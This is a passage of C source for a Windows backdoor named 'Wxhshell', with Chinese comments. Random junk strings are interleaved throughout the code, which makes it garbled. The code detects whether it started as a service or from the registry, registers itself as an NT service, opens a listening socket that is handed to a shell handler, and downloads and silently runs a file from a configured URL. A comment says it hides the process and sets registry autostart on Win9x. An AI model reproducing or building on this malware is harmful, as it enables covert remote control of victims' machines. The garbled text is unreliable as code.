G`a ; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PI7M3\z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xUYUOyV NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sr_]R<? ^>?gFvWB% if (!NtQueryInformationProcess) return 0; Ez^U1KKOE7 cdL$T6y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?YY'-\h? if(!hProcess) return 0; A"S{W^iL =G*rfV@__V if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]A;zY%> Aa*UV6(v CloseHandle(hProcess); @?_<A%hz 7Rr(YoWa hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &3VR)Bxn if(hProcess==NULL) return 0; [`P+{ R zBWn*A[4 HMODULE hMod; MD ~03 char procName[255]; wU_e/+0h unsigned long cbNeeded; vJkY <J=9,tv< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bet?5Dk F9q<MTh CloseHandle(hProcess); Oy$*ZG ) ^9eJ)12pK if(strstr(procName,"services")) return 1; // 以服务启动 sfez0Uqe.~ 1btQ[a6j return 0; // 注册表启动 >\hu1C|W } wmFI? BnH<-n_ // 主模块 E1:{5F5/ int StartWxhshell(LPSTR lpCmdLine) nG&=$7x^ { KFHn)+*" SOCKET wsl; <5MnF BOOL val=TRUE; 0qSd#jO int port=0; )sG`sET]`f struct sockaddr_in door; ,qJ/Jt$A )'(7E$d if(wscfg.ws_autoins) Install(); W[A;VOj0$ Kx?3 ] port=atoi(lpCmdLine); P:&XtpP Ia:n<sZU if(port<=0) port=wscfg.ws_port; w\KO1 Ob _*B]yz6z WSADATA data; tF SO " if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aS?A3h4WM_ #/t^?$8\\ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; MIasCH>r setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !"B0z+O> door.sin_family = AF_INET; C5#3c yf*B door.sin_addr.s_addr = inet_addr("127.0.0.1"); >5)E\4r- door.sin_port = htons(port); k'Fc:T8:~5 kL,bM.; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OOS(YP@b closesocket(wsl); TYW$=p| return 1; &!#,p{}ccU } 0XFJ/ Ua]shSjyI if(listen(wsl,2) == INVALID_SOCKET) { ,%e.nj9 closesocket(wsl); to9
u%d 8 return 1; />_Mz } TO.?h! Wxhshell(wsl); ]N!382 WSACleanup(); sL]KBux ;1^_.3 return 0; gJ cf~@s
#>C.61Fx }
+{N LziO PpX=~Of~ // 以NT服务方式启动 vs;T}'O VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bIt%KG{PY6 { 6"C$]kF? DWORD status = 0; udM<jY]5p DWORD specificError = 0xfffffff;
bz'V50 v+A$CGH96 serviceStatus.dwServiceType = SERVICE_WIN32; 0TK+R43_ serviceStatus.dwCurrentState = SERVICE_START_PENDING; TWkuR]5 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U`sybtuBP' serviceStatus.dwWin32ExitCode = 0; )?RR1P-ID serviceStatus.dwServiceSpecificExitCode = 0; |&lAt\ serviceStatus.dwCheckPoint = 0; E$] 7w4,n serviceStatus.dwWaitHint = 0; YpMQY-n k/hE68<6i hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I)I,{xT4 if (hServiceStatusHandle==0) return; F`g oYwA% ;*ebq'D([ status = GetLastError(); 9MA/nybI if (status!=NO_ERROR) vUh.ev0 { EeC5HgIU'C serviceStatus.dwCurrentState = SERVICE_STOPPED; zk= 3L} C serviceStatus.dwCheckPoint = 0; @/i{By^C serviceStatus.dwWaitHint = 0; |uVhfD=NG serviceStatus.dwWin32ExitCode = status; A$vCm serviceStatus.dwServiceSpecificExitCode = specificError; M0g!"0? SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kg^L
4Q return; \hv1"WaJ } n}X)a-= 94Mh/A9k serviceStatus.dwCurrentState = SERVICE_RUNNING; MFO}E!9`q serviceStatus.dwCheckPoint = 0; i~:FlW] serviceStatus.dwWaitHint = 0; 8t3@Hi if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VOH.EK?5 } (NrH)+)J!a nsk`nck // 处理NT服务事件,比如:启动、停止 1"{3v@yi VOID WINAPI NTServiceHandler(DWORD fdwControl) NY(c4fzl { %tiFx:F+ switch(fdwControl) H~x,\|l# { N4Yvt& case SERVICE_CONTROL_STOP: |Z}uN!Jm serviceStatus.dwWin32ExitCode = 0; q5J6d+ serviceStatus.dwCurrentState = SERVICE_STOPPED; 1HK5OT& serviceStatus.dwCheckPoint = 0; f.,ozL3* serviceStatus.dwWaitHint = 0; NMb`d0;( { Z[:fqvXQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?'uxYeX6 } }TD$! return; Q)x`'[3"7W case SERVICE_CONTROL_PAUSE: 4h wUH serviceStatus.dwCurrentState = SERVICE_PAUSED; QHnk@R! break; {#YGor| case SERVICE_CONTROL_CONTINUE: J@'}lG serviceStatus.dwCurrentState = SERVICE_RUNNING; &z;F'>" break; oZ;u>MeZ case SERVICE_CONTROL_INTERROGATE: O.4ty)* break; 7Wub@Mp }; zOkU R9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,W"Q)cL } #7K&x.w$ . _JM3o}F // 标准应用程序主函数 b6BeOR*ps int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X&EcQ { Zn&S7a>7 ;7CE{/Bq.p // 获取操作系统版本 KZ^W@*`D OsIsNt=GetOsVer(); Dn;6O GetModuleFileName(NULL,ExeFile,MAX_PATH); JI-q4L| }WXO[ +l // 从命令行安装 wlr/zquAE9 if(strpbrk(lpCmdLine,"iI")) Install(); Xi3:Ok6FZ `Cy-*$$ // 下载执行文件 v~i/e+.h>y if(wscfg.ws_downexe) { "1P8[ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +BcJHNIB WinExec(wscfg.ws_filenam,SW_HIDE); Et{4*+A } dX|(n.} </0@7 if(!OsIsNt) { j]i:~9xKW // 如果时win9x,隐藏进程并且设置为注册表启动 b#cXn4< |